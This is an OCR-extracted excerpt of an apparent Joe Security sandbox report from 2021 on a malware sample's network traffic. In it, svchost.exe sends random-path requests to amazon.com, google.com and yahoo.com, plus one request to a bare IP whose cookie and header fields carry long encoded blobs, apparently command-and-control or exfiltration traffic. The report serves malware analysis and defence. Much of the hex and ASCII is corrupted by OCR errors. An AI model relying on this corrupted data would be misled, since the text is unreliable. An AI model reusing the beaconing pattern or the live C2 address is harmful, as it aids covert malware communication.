de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /hgeraaws8gtpR8De3rkjw3Um1/xtsgcészpiyk2gVpshgmlSkqua2hY6408nkbkarivggQ8ru88h7xmTPqPhaqgWv586j7sh
gp2uc5hAx/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:49 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: QQAEMPN4GADTNH3KDVG9

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18.d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a 6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt=K{"(.W]in"u=Padn{]1+: Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:53:49 UTC 915

2021-09-28 07:53:52 UTC 927

2021-09-28 07:53:52 UTC 928

Session ID Source IP

2 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:52:42 UTC 12

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
49796

Direction
ouT

Data

GET /feed/news/last HTTP/1.1

Cookie: HSID=UejNj2oWBwd9eCdngvTAqCW%2B7NhyiFmjp6ySLT%2BQaBh95kX00961rEulglNutrGClyYMP6b7C
rE1B%2Fmw7PjkJIP%2BBK%2B6n%2BFTPp%2F9dIGXDDV6%2F0GVp%2BoJc5k3hXHIK7PENzFreLoAA4k
FromMDhN2xXuRgcsbs7xTzrmmNMdI1POBUPU6S7Q0dFzaUdaQhDJIVTAtLuoivAdB2Js%2FAZWEGEOvDdmbjP6IutD
QO%2FIoU7pB42uuA%2Bvg7h6uCwluQOXT1TULllyKNhymDHsKu774eGzUJS9EKWPYIIRAGDI0QprLQ2Us
LLTC1rcQnkRYyijbtt1LIHenUHNVhFdiSO%2F1nQhw%3D%3D;SIDCC=vK3%2BU7dVREUX|pZL%2BsMY|%2FDVr4qvjS
9%2Bw(ql55fCPaHNNCc%2BI3ZQliIQnMbIPgisWIF9g%2FuiTIYIXFL4aybjWVMKOyTeCNGj7IzyMea%2BFCfchd40%2Bh
TuMeqrT%2B%2F39uBaW4UchGdS%2FiSfHIH8w1zBUMRMNAVXY%2FFMGOMOZwibPTjHNnJIE2CLWiiLgJ9gAgJSEx6s
LymztnJtj6EdULjMSjFwMbX3%2BdsY EVKRbvOTW1kuWIlvwgokL TwjvpJZ%2BnR4xzucNJ%2Bkc%2FEI8%2FuABpcfC
gOTIbOyAQSyHkelQPNCvQsWuH%2BGHmMFYRSzkiBkwOM%2BdYoJLula5KiQvzFUqtlicrzdHdSQ%3D%3D;SID=xRnYW
hmIVoGWBIakfuTQ4z69r2bqDhcBGYeAsubZ%2FMJIEk6gI2B4SITgzB8OZAhcfRXJ0u8zxLOW3GEO4HU%2B2L4jgBZe
TaEmvMy3WD7czDFxC5PWVYzeOJdMMIcna%2FC1xiTy8LdpoC7WLrBMy9CUxdNopUiK5BOVEGOMNIESpv
PXAgSJoGweavalvboVHD529L2fymtMcPCHXDZZXSf8DRE3J7h7kZfN8KNZRsiieJrGsqo4MogOsrBFvcgheLB95OR0
2UmUmMJ70E3gdHLG]jQciCzF6bodMRKEq1FgIXp4b6ZGQfd0ks33z1073GMveNQ2gV1k%2B98FOLJI9Jee
ZAUbQ%3D%3D;SSID=20nIc7Hzbm44C4Svtx6NZbgFQgTQ2gxxyOfBaMOd%2BKhzWHZqVHsn%2B0gel8m
9RS3RJIVOVEjYFWEOevBvKZ4gfa9vzmvAryzTSSFVwWiR%2Beo2Nftkek%2FZacRiLkPtuuT2B3NyfZY X%2F{%2FrpNu
wdK9e7F1vHCM4EVRbEj6hgy54RW6DK%2Bi5A96 TIGXAGZ%2FbKIET71ehwWryc56lwMmO%2F8KhknASP
CXab5%2F7pku68tEix7xz9alYD51%2FeiVm7b0q0tixhZHRBOItDeONIEeaATsUW%2FgSkJrnygf9jV5%2FgjmIAxkw
rL5SPOisdn6p25h13B7S40mZFO9FWINICeCLkeCI3ZMUQ%3D%3D;

X-Tag: RJIydflIFdYVynw24N44wk4pscAginT8UAxq72VGjSZ%2FMnltFXaZaFpHuVkIJmWQeTu4k6YUB9kCcvW8%2BP
ezfyJDIRUBR2c7KCjmk%2BbOUBE467Imjle WXpEgIUOSOHhQf26GhELVbG90T8WONp1j60SvkN2AuazG9ki%2BOaHY
eRtNLjOSVIVPXX9tv9%2BALAG%2FQb%2BAE7ilADFuoUDfQq%2FByrY CYREP2KRTq0%2FTDZguCUItyAmCWEire00JQ
V71NsHWcPB8f2KvmuXrddfd3M3TQ%2B%2BD6%2B4j%2B5TstI5tkrlr7g6h%2B8J4J7kV9jxNmcBDIO3FQMSTIX6rH
m1D%2FX9aybuY611k2Q%3D%3D

X-Csrf-Token: H1Ctz9sv28SOZwNtcOoMBVpVclL2z0%2BR%2FLpsP3Ni5qOrDWBWXrEnQkKatMXSd%2FT5APelO3h
alK7XNIw%2FIMHNSNBQudzPp1Ph1dGWj5k803vefpeFpgWHE73DAxHdfzas%2BaOF5EzFUNtxMRiLsVCK257dQML%2
BDB1ITgCxI1%2BAzu3pZuchZwlH3G3j3ZQijob8VGcPz7b0RI98qYSAHAK8Cu0s9I9Th49kFu%2FwiUjFKXrlgVOleK
YekAelqgHZ4uo7W%2FWUJIB8mM25HWpARWL %2BIggMGGGcelnzQotl V%2BE8LOZ2nzAnFpyBM0S02zQUCXeg
kU9ieRa3VZVDI6LT42IwgYZr7t0Q%3D%3D

X-Request-ID: 2JFuTuSU7%2B3VAUhDFiXTZIXK%2FkdAm5HQsLDV8iX1%2FO5h4I5UIRIB978sIDDX%2B48ZKgNB
2x4hwQ8jL5Ic0jx37MMhil%2FAIV4hBspCbIPCG8Th6pm6c2LiukHiljdOBT7MPi98QY0ZWo18tFc0dh6z2NjohY Xf
sP8OHRFRKL41jN2n7cIP5bKZrDocFd5TsdpwCuSz3gzHNDDNHrQ2mXWJjDKtAtOXq6U%2BNH1iKdN4u6MC66hVk68Z
1ZGDKiHK%2F6PV5BLLZIVAjVWANpphyiWPYPBsNJ1INW8UUczHQSRN7zR60EDCVKwQagbuzMkWVzpRKeN
63U%2FrmMOzFC10HNL784w%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: text/html; charset=UTF-8

Content-Length: 2

Connection: close

Date: Tue, 28 Sep 2021 07:53:52 GMT

Set-Cookie: SVALUE=NTbHNCsHXBWYP1QBefDgaoPnrwleMcAp4n200CkZvGhSSGTfT2KfIXMRjWNDuLx8rNNU0o1Z
gFAjXS04hGBcY07bgYufGSz1IX3FP06Dp6i3N7PBOSDIGGVXCvxf2i6uihimDdUSpNIUDV5I2q6Cacfgy96vHNINKU
Gpkmrzh8xBvOoHce30BGnOVIPEXt819Gz040vVKcerTrPmILAkzAObu7ehVetmCDDXOgovlOkrssDEKspOiyuyvl43VXcblk
Set-Cookie: ndata=IZUdFJdLy70sabyLke12Y5nmM6UIfr5gCj7xkQG49Vm5

Set-Cookie: query4=ffDXQrOGg4hv8omWps3UqgXIxUO6v04usgqdqxo8CSZ7vOsA2E6sftsAbdMsrc4fDdnw7grBr
Gp6cCeTe5cBvDWBH2QiW4HUi8sIOdLj531BC22ze5hTaDdtoGxgL9jIxCs2UpJOVAphbLs3EVaILPWNEN498WV6EsqD
8luoJH7q6Ec8wtsJYAVkskPRFfnxB6DI9IZE2yJyUKN37MCsQc9ggUpKeXsxY CtpdVzIsBft OIMr85u8GqLixyxZqP5FK88
Set-Cookie: bdata=1Ynb1Rt4ZVquwZC43Kt2aTlg4XVHBDOBjP47w

Set-Cookie: pSID=e9HJ5S76ak6ZNOhg

Set-Cookie: actual=5ttUB9IMGQh7TFwWBSF7lqggDGa7hRjCcvwkIvVscW7imuyEL4MisrQ5RalKOmIGObBJtxgay
BQBo0siAF3TUK7aorsYKY%2FUXWWWekH%2BwWLP10j1QwX%2FLeEhOfOHDbXpnMVIguKJvYIPimx0D2Aznu9BysGwI5G
rOjB9ktCSIPMQ6345TAaj2XHB5KsIGIaO0cD88nZt9eLnwLS7E3VjreGdrSoEOIUlaFg%2FK2dzZRvGLC4Wrekkb%2
Fq4S%2Fs1td7%2B3Kijty%2F7V9QCrPItpd0eKLzpzz%2BC4ZH2NEKD7qNgzUH4I%2BR4UtXcAObCVESGIMOQe06 Y uw
mUpyxgnm6ém5t6AeVyN38Q%3D%3D

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Data Raw: 4f 4b
Data Ascii: OK

Destination IP Destination Port Process

104.26.2.70 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /px.gif?ch=1&e=0.071014012951503 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ad-delivery.net

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:52:42 UTC 12

2021-09-28 07:52:42 UTC 14

2021-09-28 07:52:42 UTC 14

Session ID Source IP

20 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:49 UTC 918

2021-09-28 07:53:49 UTC 918

2021-09-28 07:53:49 UTC 919

2021-09-28 07:53:49 UTC 920

Session ID Source IP

21 192.168.2.3

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49904

Direction

ouT

Source Port

49911

Data

HTTP/1.1 200 OK

Date: Tue, 28 Sep 2021 07:52:42 GMT

Content-Type: image/gif

Content-Length: 43

Connection: close

X-GUploader-UploadID: ABg5-UzSZ-Kt1WbGdd88HICnZf7Y cJGLu-DR5tPwPS9bXoxAsvIYwt4jGn6LAH0ZbG34
scttOvecv7iFCIZEXLBCcbRVF7nEjw

Expires: Tue, 28 Sep 2021 07:59:12 GMT

Last-Modified: Wed, 05 May 2021 19:25:32 GMT

ETag: "ad4b0f606e0f8465bc4c4c170b37ela3"

X-goog-generation: 1620242732037093

X-g00g-metageneration: 5

x-goog-stored-content-encoding: identity

x-goog-stored-content-length: 43

x-goog-hash: crc32c=cpEfJQ==

x-goog-hash: md5=rUsPYG4PhGWS8TEwXCzfhow==

X-goog-storage-class: MULTI_REGIONAL

Access-Control-Allow-Origin: *

Access-Control-Expose-Headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-
Trace

Age: 2243

Cache-Control: public, max-age=86400

CF-Cache-Status: HIT

Accept-Ranges: bytes

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=Rq%2F8woRiWbQpTOCILnMhUrN6ofsqgKE
d91ovKU1gqHB6AXuUbI%2FQI70DsMS020%2BphcsugdlikeWmysWCwLPTIVAWa5zyrlh%2Brh3MdvNGp6R;sjfXdwoLP
%2FA4QbwfTNdKzJdbQ%3D%3D"}],"group™:“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 695b64d0a9415c2c-FRA

Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04
Data Ascii: GIF89a!

Data Raw: 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b
Data Ascii: ,L;

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /cJi7I2WpuslUuvebbed6plxm5tI3xFI1gmy057/70lY dvsidu2fwz6Raz2Hvv/hdReuPwg6CvywwkkicnRW4IztwnhjXz5r
04yl1ghtzdl/blphet38vbf77s4it16v6mCFkgvhiw8Mdho/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1704

Date: Tue, 28 Sep 2021 07:53:49 GMT

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
3570 78 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6€ 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
def{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe
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kBytes
Timestamp transferred

2021-09-28 07:53:51 UTC 920

2021-09-28 07:53:51 UTC 921

2021-09-28 07:53:51 UTC 921

Session ID Source IP

22 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:51 UTC 922

2021-09-28 07:53:51 UTC 922

2021-09-28 07:53:51 UTC 924

2021-09-28 07:53:51 UTC 924

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49912

Direction

ouT

Data

GET /dfh70lkmus9kISyOxhFZx4F2r/rmOgwWcvd7sj5jwC003onb9eajcn4ulcwlr51c53c8/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:51 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: SD522MW9C5R170FVP1QM

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d {7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 Oa 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt=K{"(.W]}n"u=Pa9n{]1+: Ch[ *"kz<{VJIZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*jvOhu

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /5I3jalxgba3kjgfdt/jebbTjfk2VYpvNrziCj2hpbfrSvtgbQdI3n/1wuurx359k33reb5098jueXI5vxtdkl53w/2cXkOmjtpx8h0g8o
90kWBvV1v/a6wm55B7u5Crjihm8HitirHysMrnTkrggaw9cslughOpSMx/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:53:49 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAI IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBIi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 8

server: ATS

Age: 2

Transfer-Encoding: chunked

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=5fhr7otgl5igf&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 2045 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 31 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72 742d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
7263 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:51 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 33 38 36 0d Oa
Data Ascii: 386
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kBytes
Timestamp transferred

2021-09-28 07:53:51 UTC 924

2021-09-28 07:53:51 UTC 925

2021-09-28 07:53:51 UTC 925

Session ID Source IP

23 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:52 UTC 925

2021-09-28 07:53:52 UTC 925

2021-09-28 07:53:52 UTC 925

2021-09-28 07:53:52 UTC 926

Session ID Source IP

24 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:52 UTC 927

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49916

Direction

ouT

Source Port
49917

Direction
ouT

Data

Data Raw: 3c 68 74 6d 6¢ 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 617220 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 35 6C
336a6149 7867 62 61 33 6b 6a 71 66 64 74 25 32 66 6a 65 62 62 54 6a 66 6b 32 56 59 70 76 4e 72 7a 69 43 6a 32 68
7062 66 72 53 76 74 67 62 51 64 49 33 6e 25 32 66 31 77 75 75 72 78 33 35 39 6b 33 33 72 65 62 35 30 39 38 6a 75 65
58 6¢ 35 76 78 74 64 6b 6¢ 35 33 77 25 32 66 32 63 58 6b 4f 6d 6a 74 70 78 38 68 30 71 38 6f 39 30 6b 57 42 76 31 76 25
326661 36 77 6d 35 35 42 37 75 35 43 72 6a 68 6d 38 48 69

Data Ascii: <html><meta charset="'utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%2f5I3jalxgba3kjqfdt%2fjebbTjtk2VY pvNrziCj2hpbfrSvighQdI3n%2f1wuurx359k33reb5098jueXI5vxt
dkI53w%2f2cXkOmjtpx8h0g8090kWBv1v¥%2fabwm55B7u5Crihm8Hi

Data Raw: 0d Oa
Data Ascii:

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /Lmz3s5u51r8c0dmli/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1579

Date: Tue, 28 Sep 2021 07:53:52 GMT

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
746120 63 6861 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢ 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31
